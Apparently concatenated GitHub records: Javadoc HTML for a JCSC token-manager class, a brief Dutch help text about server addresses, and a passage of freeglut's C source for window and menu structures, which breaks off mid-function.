HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#SLASH">SLASH</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#SLASHASSIGN">SLASHASSIGN</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#STAR">STAR</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#STARASSIGN">STARASSIGN</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#STATIC">STATIC</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#STRICTFP">STRICTFP</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#STRING_LITERAL">STRING_LITERAL</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#SUPER">SUPER</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#SWITCH">SWITCH</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#SYNCHRONIZED">SYNCHRONIZED</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#THIS">THIS</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#THROW">THROW</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#THROWS">THROWS</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#TILDE">TILDE</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#tokenImage">tokenImage</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#TRANSIENT">TRANSIENT</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#TRUE">TRUE</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#TRY">TRY</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#VOID">VOID</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#VOLATILE">VOLATILE</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#WHILE">WHILE</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#XOR">XOR</A>, <A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html#XORASSIGN">XORASSIGN</A></CODE></TD>
</TR>
</TABLE>
<!-- ======== CONSTRUCTOR SUMMARY ======== -->
<A NAME="constructor_summary"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TD COLSPAN=2><FONT SIZE="+2">
<B>Constructor Summary</B></FONT></TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE><B><A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerTokenManager.html#JavaCodingStandardCheckerTokenManager(rj.tools.jcsc.JavaCharStream)">JavaCodingStandardCheckerTokenManager</A></B>(<A HREF="../../../rj/tools/jcsc/JavaCharStream.html" title="class in rj.tools.jcsc">JavaCharStream</A> stream)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE><B><A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerTokenManager.html#JavaCodingStandardCheckerTokenManager(rj.tools.jcsc.JavaCharStream, int)">JavaCodingStandardCheckerTokenManager</A></B>(<A HREF="../../../rj/tools/jcsc/JavaCharStream.html" title="class in rj.tools.jcsc">JavaCharStream</A> stream,
int lexState)</CODE>
<BR>
</TD>
</TR>
</TABLE>
<!-- ========== METHOD SUMMARY =========== -->
<A NAME="method_summary"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TD COLSPAN=2><FONT SIZE="+2">
<B>Method Summary</B></FONT></TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> <A HREF="../../../rj/tools/jcsc/Token.html" title="class in rj.tools.jcsc">Token</A></CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerTokenManager.html#getNextToken()">getNextToken</A></B>()</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE>protected <A HREF="../../../rj/tools/jcsc/Token.html" title="class in rj.tools.jcsc">Token</A></CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerTokenManager.html#jjFillToken()">jjFillToken</A></B>()</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerTokenManager.html#ReInit(rj.tools.jcsc.JavaCharStream)">ReInit</A></B>(<A HREF="../../../rj/tools/jcsc/JavaCharStream.html" title="class in rj.tools.jcsc">JavaCharStream</A> stream)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerTokenManager.html#ReInit(rj.tools.jcsc.JavaCharStream, int)">ReInit</A></B>(<A HREF="../../../rj/tools/jcsc/JavaCharStream.html" title="class in rj.tools.jcsc">JavaCharStream</A> stream,
int lexState)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerTokenManager.html#setDebugStream(java.io.PrintStream)">setDebugStream</A></B>(java.io.PrintStream ds)</CODE>
<BR>
</TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1">
<CODE> void</CODE></FONT></TD>
<TD><CODE><B><A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerTokenManager.html#SwitchTo(int)">SwitchTo</A></B>(int lexState)</CODE>
<BR>
</TD>
</TR>
</TABLE>
<A NAME="methods_inherited_from_class_java.lang.Object"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#EEEEFF" CLASS="TableSubHeadingColor">
<TD><B>Methods inherited from class java.lang.Object</B></TD>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE>clone, equals, finalize, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</CODE></TD>
</TR>
</TABLE>
<P>
<!-- ============ FIELD DETAIL =========== -->
<A NAME="field_detail"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TD COLSPAN=1><FONT SIZE="+2">
<B>Field Detail</B></FONT></TD>
</TR>
</TABLE>
<A NAME="debugStream"><!-- --></A><H3>
debugStream</H3>
<PRE>
public java.io.PrintStream <B>debugStream</B></PRE>
<DL>
<DL>
</DL>
</DL>
<HR>
<A NAME="jjstrLiteralImages"><!-- --></A><H3>
jjstrLiteralImages</H3>
<PRE>
public static final java.lang.String[] <B>jjstrLiteralImages</B></PRE>
<DL>
<DL>
</DL>
</DL>
<HR>
<A NAME="lexStateNames"><!-- --></A><H3>
lexStateNames</H3>
<PRE>
public static final java.lang.String[] <B>lexStateNames</B></PRE>
<DL>
<DL>
</DL>
</DL>
<HR>
<A NAME="jjnewLexState"><!-- --></A><H3>
jjnewLexState</H3>
<PRE>
public static final int[] <B>jjnewLexState</B></PRE>
<DL>
<DL>
</DL>
</DL>
<HR>
<A NAME="input_stream"><!-- --></A><H3>
input_stream</H3>
<PRE>
protected <A HREF="../../../rj/tools/jcsc/JavaCharStream.html" title="class in rj.tools.jcsc">JavaCharStream</A> <B>input_stream</B></PRE>
<DL>
<DL>
</DL>
</DL>
<HR>
<A NAME="curChar"><!-- --></A><H3>
curChar</H3>
<PRE>
protected char <B>curChar</B></PRE>
<DL>
<DL>
</DL>
</DL>
<!-- ========= CONSTRUCTOR DETAIL ======== -->
<A NAME="constructor_detail"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TD COLSPAN=1><FONT SIZE="+2">
<B>Constructor Detail</B></FONT></TD>
</TR>
</TABLE>
<A NAME="JavaCodingStandardCheckerTokenManager(rj.tools.jcsc.JavaCharStream)"><!-- --></A><H3>
JavaCodingStandardCheckerTokenManager</H3>
<PRE>
public <B>JavaCodingStandardCheckerTokenManager</B>(<A HREF="../../../rj/tools/jcsc/JavaCharStream.html" title="class in rj.tools.jcsc">JavaCharStream</A> stream)</PRE>
<DL>
</DL>
<HR>
<A NAME="JavaCodingStandardCheckerTokenManager(rj.tools.jcsc.JavaCharStream, int)"><!-- --></A><H3>
JavaCodingStandardCheckerTokenManager</H3>
<PRE>
public <B>JavaCodingStandardCheckerTokenManager</B>(<A HREF="../../../rj/tools/jcsc/JavaCharStream.html" title="class in rj.tools.jcsc">JavaCharStream</A> stream,
int lexState)</PRE>
<DL>
</DL>
<!-- ============ METHOD DETAIL ========== -->
<A NAME="method_detail"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TD COLSPAN=1><FONT SIZE="+2">
<B>Method Detail</B></FONT></TD>
</TR>
</TABLE>
<A NAME="setDebugStream(java.io.PrintStream)"><!-- --></A><H3>
setDebugStream</H3>
<PRE>
public void <B>setDebugStream</B>(java.io.PrintStream ds)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="ReInit(rj.tools.jcsc.JavaCharStream)"><!-- --></A><H3>
ReInit</H3>
<PRE>
public void <B>ReInit</B>(<A HREF="../../../rj/tools/jcsc/JavaCharStream.html" title="class in rj.tools.jcsc">JavaCharStream</A> stream)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="ReInit(rj.tools.jcsc.JavaCharStream, int)"><!-- --></A><H3>
ReInit</H3>
<PRE>
public void <B>ReInit</B>(<A HREF="../../../rj/tools/jcsc/JavaCharStream.html" title="class in rj.tools.jcsc">JavaCharStream</A> stream,
int lexState)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="SwitchTo(int)"><!-- --></A><H3>
SwitchTo</H3>
<PRE>
public void <B>SwitchTo</B>(int lexState)</PRE>
<DL>
<DD><DL>
</DL>
</DD>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="jjFillToken()"><!-- --></A><H3>
jjFillToken</H3>
<PRE>
protected <A HREF="../../../rj/tools/jcsc/Token.html" title="class in rj.tools.jcsc">Token</A> <B>jjFillToken</B>()</PRE>
<DL>
<DD><DL>
</DL>
</DD>
<DD><DL>
</DL>
</DD>
</DL>
<HR>
<A NAME="getNextToken()"><!-- --></A><H3>
getNextToken</H3>
<PRE>
public <A HREF="../../../rj/tools/jcsc/Token.html" title="class in rj.tools.jcsc">Token</A> <B>getNextToken</B>()</PRE>
<DL>
<DD><DL>
</DL>
</DD>
<DD><DL>
</DL>
</DD>
</DL>
<!-- ========= END OF CLASS DATA ========= -->
<HR>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<A NAME="navbar_bottom"><!-- --></A>
<A HREF="#skip-navbar_bottom" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=3 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_bottom_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="class-use/JavaCodingStandardCheckerTokenManager.html"><FONT CLASS="NavBarFont1"><B>Use</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../rj/tools/jcsc/JavaCodingStandardCheckerConstants.html" title="interface in rj.tools.jcsc"><B>PREV CLASS</B></A>
<A HREF="../../../rj/tools/jcsc/MethodMetric.html" title="class in rj.tools.jcsc"><B>NEXT CLASS</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../index.html" target="_top"><B>FRAMES</B></A>
<A HREF="JavaCodingStandardCheckerTokenManager.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
<TR>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
SUMMARY: NESTED | <A HREF="#field_summary">FIELD</A> | <A HREF="#constructor_summary">CONSTR</A> | <A HREF="#method_summary">METHOD</A></FONT></TD>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
DETAIL: <A HREF="#field_detail">FIELD</A> | <A HREF="#constructor_detail">CONSTR</A> | <A HREF="#method_detail">METHOD</A></FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_bottom"></A>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<HR>
<center><i>(c) 1999-2005 by Ralph Jocham ([email protected])<br>JCSC is released under the terms of the GNU General Public License</i></center>
</BODY>
</HTML>
| {
"pile_set_name": "Github"
} |
<header>Adres van servers om te updaten</header>
<p>Dit veld specificeert het oude adres van de servers die worden gemodificeerd.</p>
| {
"pile_set_name": "Github"
} |
/*
* freeglut_structure.c
*
* Windows and menus need tree structure
*
* Copyright (c) 1999-2000 Pawel W. Olszta. All Rights Reserved.
* Written by Pawel W. Olszta, <[email protected]>
* Creation date: Sat Dec 18 1999
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* PAWEL W. OLSZTA BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#include "freeglut.h"
#include "freeglut_internal.h"
/* -- GLOBAL EXPORTS ------------------------------------------------------- */
/*
* The SFG_Structure container holds information about windows and menus
* created between glutInit() and glutMainLoop() return.
*/
SFG_Structure fgStructure = { { NULL, NULL }, /* The list of windows */
{ NULL, NULL }, /* The list of menus */
{ NULL, NULL }, /* Windows to Destroy list */
NULL, /* The current window */
NULL, /* The current menu */
NULL, /* The menu OpenGL context */
NULL, /* The game mode window */
0, /* The current new window ID */
0 }; /* The current new menu ID */
/* -- PRIVATE FUNCTIONS ---------------------------------------------------- */
static void fghClearCallBacks( SFG_Window *window )
{
if( window )
{
int i;
for( i = 0; i < TOTAL_CALLBACKS; ++i )
window->CallBacks[ i ] = NULL;
}
}
/*
* This private function creates, opens and adds to the hierarchy
* a freeglut window complete with OpenGL context and stuff...
*
* If parent is set to NULL, the window created will be a topmost one.
*/
SFG_Window* fgCreateWindow( SFG_Window* parent, const char* title,
GLboolean positionUse, int x, int y,
GLboolean sizeUse, int w, int h,
GLboolean gameMode, GLboolean isMenu )
{
/* Have the window object created */
SFG_Window *window = (SFG_Window *)calloc( sizeof(SFG_Window), 1 );
#if TARGET_HOST_UNIX_X11
window->Window.FBConfig = NULL;
#endif
fghClearCallBacks( window );
/* Initialize the object properties */
window->ID = ++fgStructure.WindowID;
window->State.OldHeight = window->State.OldWidth = -1;
fgListInit( &window->Children );
if( parent )
{
fgListAppend( &parent->Children, &window->Node );
window->Parent = parent;
}
else
fgListAppend( &fgStructure.Windows, &window->Node );
/* Set the default mouse cursor and reset the modifiers value */
window->State.Cursor = GLUT_CURSOR_INHERIT;
window->IsMenu = isMenu;
window->State.IgnoreKeyRepeat = GL_FALSE;
window->State.KeyRepeating = GL_FALSE;
window->State.IsFullscreen = GL_FALSE;
/*
* Open the window now. The fgOpenWindow() function is system
* dependant, and resides in freeglut_window.c. Uses fgState.
*/
fgOpenWindow( window, title, positionUse, x, y, sizeUse, w, h, gameMode,
(GLboolean)(parent ? GL_TRUE : GL_FALSE) );
return window;
}
/*
* This private function creates a menu and adds it to the menus list
*/
SFG_Menu* fgCreateMenu( FGCBMenu menuCallback )
{
int x = 100, y = 100, w = 100, h = 100;
SFG_Window *current_window = fgStructure.CurrentWindow;
/* Have the menu object created */
SFG_Menu* menu = (SFG_Menu *)calloc( sizeof(SFG_Menu), 1 );
menu->ParentWindow = NULL;
/* Create a window for the menu to reside in. */
fgCreateWindow( NULL, "freeglut menu", GL_TRUE, x, y, GL_TRUE, w, h,
GL_FALSE, GL_TRUE );
menu->Window = fgStructure.CurrentWindow;
glutDisplayFunc( fgDisplayMenu );
glutHideWindow( ); /* Hide the window for now */
fgSetWindow( current_window );
/* Initialize the object properties: */
menu->ID = ++fgStructure.MenuID;
menu->Callback = menuCallback;
menu->ActiveEntry = NULL;
fgListInit( &menu->Entries );
fgListAppend( &fgStructure.Menus, &menu->Node );
/* Newly created menus implicitly become current ones */
fgStructure.CurrentMenu = menu;
return menu;
}
/*
* Function to add a window to the linked list of windows to destroy.
* Subwindows are automatically added because they hang from the window
* structure.
*/
void fgAddToWindowDestroyList( SFG_Window* window )
{
SFG_WindowList *new_list_entry =
( SFG_WindowList* )malloc( sizeof(SFG_WindowList ) );
new_list_entry->window = window;
fgListAppend( &fgStructure.WindowsToDestroy, &new_list_entry->node );
/* Check if the window is the current one... */
if( fgStructure.CurrentWindow == window )
fgStructure.CurrentWindow = NULL;
/*
* Clear all window callbacks except Destroy, which will
* be invoked later. Right now, we are potentially carrying
* out a freeglut operation at the behest of a client callback,
* so we are reluctant to re-enter the client with the Destroy
* callback, right now. The others are all wiped out, however,
* to ensure that they are no longer called after this point.
*/
{
FGCBDestroy destroy = (FGCBDestroy)FETCH_WCB( *window, Destroy );
fghClearCallBacks( window );
SET_WCB( *window, Destroy, destroy );
}
}
/*
* Function to close down all the windows in the "WindowsToDestroy" list
*/
void fgCloseWindows( )
{
while( fgStructure.WindowsToDestroy.First )
{
SFG_WindowList *window_ptr = fgStructure.WindowsToDestroy.First;
fgDestroyWindow( window_ptr->window );
fgListRemove( &fgStructure.WindowsToDestroy, &window_ptr->node );
free( window_ptr );
}
}
/*
* This function destroys a window and all of its subwindows. Actually,
* another function, defined in freeglut_window.c is called, but this is
* a whole different story...
*/
void fgDestroyWindow( SFG_Window* window )
{
FREEGLUT_INTERNAL_ERROR_EXIT ( window, "Window destroy function called with null window",
"fgDestroyWindow" );
while( window->Children.First )
fgDestroyWindow( ( SFG_Window * )window->Children.First );
{
SFG_Window *activeWindow = fgStructure.CurrentWindow;
INVOKE_WCB( *window, Destroy, ( ) );
fgSetWindow( activeWindow );
}
if( window->Parent )
fgListRemove( &window->Parent->Children, &window->Node );
else
fgListRemove( &fgStructure.Windows, &window->Node );
if( window->ActiveMenu )
fgDeactivateMenu( window );
fghClearCallBacks( window );
fgCloseWindow( window );
free( window );
if( fgStructure.CurrentWindow == window )
fgStructure.CurrentWindow = NULL;
}
/*
* This is a helper static function that removes a menu (given its pointer)
* from any windows that can be accessed from a given parent...
*/
static void fghRemoveMenuFromWindow( SFG_Window* window, SFG_Menu* menu )
{
SFG_Window *subWindow;
int i;
/* Check whether this is the active menu in the window */
if ( menu == window->ActiveMenu )
window->ActiveMenu = NULL ;
/*
* Check if the menu is attached to the current window,
* if so, have it detached (by overwriting with a NULL):
*/
for( i = 0; i < FREEGLUT_MAX_MENUS; i++ )
if( window->Menu[ i ] == menu )
window->Menu[ i ] = NULL;
/* Call this function for all of the window's children recursively: */
for( subWindow = (SFG_Window *)window->Children.First;
subWindow;
subWindow = (SFG_Window *)subWindow->Node.Next)
fghRemoveMenuFromWindow( subWindow, menu );
}
/*
* This is a static helper function that removes menu references
* from another menu, given two pointers to them...
*/
static void fghRemoveMenuFromMenu( SFG_Menu* from, SFG_Menu* menu )
{
SFG_MenuEntry *entry;
for( entry = (SFG_MenuEntry *)from->Entries.First;
entry;
entry = ( SFG_MenuEntry * )entry->Node.Next )
if( entry->SubMenu == menu )
entry->SubMenu = NULL;
}
/*
* This function destroys a menu specified by the parameter. All menus
* and windows are updated to make sure no ill pointers hang around.
*/
void fgDestroyMenu( SFG_Menu* menu )
{
SFG_Window *window;
SFG_Menu *from;
FREEGLUT_INTERNAL_ERROR_EXIT ( menu, "Menu destroy function called with null menu",
"fgDestroyMenu" );
/* First of all, have all references to this menu removed from all windows: */
for( window = (SFG_Window *)fgStructure.Windows.First;
window;
window = (SFG_Window *)window->Node.Next )
fghRemoveMenuFromWindow( window, menu );
/* Now proceed with removing menu entries that lead to this menu */
for( from = ( SFG_Menu * )fgStructure.Menus.First;
from;
from = ( SFG_Menu * )from->Node.Next )
fghRemoveMenuFromMenu( from, menu );
/*
* If the programmer defined a destroy callback, call it
* A. Donev: But first make this the active menu
*/
if( menu->Destroy )
{
SFG_Menu *activeMenu=fgStructure.CurrentMenu;
fgStructure.CurrentMenu = menu;
menu->Destroy( );
fgStructure.CurrentMenu = activeMenu;
}
/*
* Now we are pretty sure the menu is not used anywhere
* and that we can remove all of its entries
*/
while( menu->Entries.First )
{
SFG_MenuEntry *entry = ( SFG_MenuEntry * ) menu->Entries.First;
fgListRemove( &menu->Entries, &entry->Node );
if( entry->Text )
free( entry->Text );
entry->Text = NULL;
free( entry );
}
if( fgStructure.CurrentWindow == menu->Window )
fgSetWindow( NULL );
fgDestroyWindow( menu->Window );
fgListRemove( &fgStructure.Menus, &menu->Node );
if( fgStructure.CurrentMenu == menu )
fgStructure.CurrentMenu = NULL;
free( menu );
}
/*
* This function should be called on glutInit(). It will prepare the internal
* structure of freeglut to be used in the application. The structure will be
* destroyed using fgDestroyStructure() on glutMainLoop() return. In that
* case further use of freeglut should be preceeded with a glutInit() call.
*/
void fgCreateStructure( void )
{
/*
* We will be needing two lists: the first containing windows,
* and the second containing the user-defined menus.
* Also, no current window/menu is set, as none has been created yet.
*/
fgListInit(&fgStructure.Windows);
fgListInit(&fgStructure.Menus);
fgListInit(&fgStructure.WindowsToDestroy);
fgStructure.CurrentWindow = NULL;
fgStructure.CurrentMenu = NULL;
fgStructure.MenuContext = NULL;
fgStructure.GameModeWindow = NULL;
fgStructure.WindowID = 0;
fgStructure.MenuID = 0;
}
/*
* This function is automatically called on glutMainLoop() return.
* It should deallocate and destroy all remnants of previous
* glutInit()-enforced structure initialization...
*/
void fgDestroyStructure( void )
{
/* Clean up the WindowsToDestroy list. */
fgCloseWindows( );
/* Make sure all windows and menus have been deallocated */
while( fgStructure.Menus.First )
fgDestroyMenu( ( SFG_Menu * )fgStructure.Menus.First );
while( fgStructure.Windows.First )
fgDestroyWindow( ( SFG_Window * )fgStructure.Windows.First );
}
/*
* Helper function to enumerate through all registered top-level windows
*/
void fgEnumWindows( FGCBenumerator enumCallback, SFG_Enumerator* enumerator )
{
SFG_Window *window;
FREEGLUT_INTERNAL_ERROR_EXIT ( enumCallback && enumerator,
"Enumerator or callback missing from window enumerator call",
"fgEnumWindows" );
/* Check every of the top-level windows */
for( window = ( SFG_Window * )fgStructure.Windows.First;
window;
window = ( SFG_Window * )window->Node.Next )
{
enumCallback( window, enumerator );
if( enumerator->found )
return;
}
}
/*
* Helper function to enumerate through all a window's subwindows
* (single level descent)
*/
void fgEnumSubWindows( SFG_Window* window, FGCBenumerator enumCallback,
SFG_Enumerator* enumerator )
{
SFG_Window *child;
FREEGLUT_INTERNAL_ERROR_EXIT ( enumCallback && enumerator,
"Enumerator or callback missing from subwindow enumerator call",
"fgEnumSubWindows" );
FREEGLUT_INTERNAL_ERROR_EXIT_IF_NOT_INITIALISED ( "Window Enumeration" );
for( child = ( SFG_Window * )window->Children.First;
child;
child = ( SFG_Window * )child->Node.Next )
{
enumCallback( child, enumerator );
if( enumerator->found )
return;
}
}
/*
* A static helper function to look for a window given its handle
*/
static void fghcbWindowByHandle( SFG_Window *window,
SFG_Enumerator *enumerator )
{
if ( enumerator->found )
return;
/* Check the window's handle. Hope this works. Looks ugly. That's for sure. */
if( window->Window.Handle == (SFG_WindowHandleType) (enumerator->data) )
{
enumerator->found = GL_TRUE;
enumerator->data = window;
return;
}
/* Otherwise, check this window's children */
fgEnumSubWindows( window, fghcbWindowByHandle, enumerator );
}
/*
* fgWindowByHandle returns a (SFG_Window *) value pointing to the
* first window in the queue matching the specified window handle.
* The function is defined in freeglut_structure.c file.
*/
SFG_Window* fgWindowByHandle ( SFG_WindowHandleType hWindow )
{
SFG_Enumerator enumerator;
/* This is easy and makes use of the windows enumeration defined above */
enumerator.found = GL_FALSE;
enumerator.data = (void *)hWindow;
fgEnumWindows( fghcbWindowByHandle, &enumerator );
if( enumerator.found )
return( SFG_Window *) enumerator.data;
return NULL;
}
/*
* A static helper function to look for a window given its ID
*/
static void fghcbWindowByID( SFG_Window *window, SFG_Enumerator *enumerator )
{
/* Make sure we do not overwrite our precious results... */
if( enumerator->found )
return;
/* Check the window's handle. Hope this works. Looks ugly. That's for sure. */
if( window->ID == *( int *)(enumerator->data) )
{
enumerator->found = GL_TRUE;
enumerator->data = window;
return;
}
/* Otherwise, check this window's children */
fgEnumSubWindows( window, fghcbWindowByID, enumerator );
}
/*
* This function is similiar to the previous one, except it is
* looking for a specified (sub)window identifier. The function
* is defined in freeglut_structure.c file.
*/
SFG_Window* fgWindowByID( int windowID )
{
SFG_Enumerator enumerator;
/* Uses a method very similiar for fgWindowByHandle... */
enumerator.found = GL_FALSE;
enumerator.data = ( void * )&windowID;
fgEnumWindows( fghcbWindowByID, &enumerator );
if( enumerator.found )
return ( SFG_Window * )enumerator.data;
return NULL;
}
/*
* Looks up a menu given its ID. This is easier that fgWindowByXXX
* as all menus are placed in one doubly linked list...
*/
SFG_Menu* fgMenuByID( int menuID )
{
SFG_Menu *menu = NULL;
/* It's enough to check all entries in fgStructure.Menus... */
for( menu = (SFG_Menu *)fgStructure.Menus.First;
menu;
menu = (SFG_Menu *)menu->Node.Next )
if( menu->ID == menuID )
return menu;
return NULL;
}
/*
* List functions...
*/
void fgListInit(SFG_List *list)
{
list->First = NULL;
list->Last = NULL;
}
void fgListAppend(SFG_List *list, SFG_Node *node)
{
if ( list->Last )
{
SFG_Node *ln = (SFG_Node *) list->Last;
ln->Next = node;
node->Prev = ln;
}
else
{
node->Prev = NULL;
list->First = node;
}
node->Next = NULL;
list->Last = node;
}
void fgListRemove(SFG_List *list, SFG_Node *node)
{
if( node->Next )
( ( SFG_Node * )node->Next )->Prev = node->Prev;
if( node->Prev )
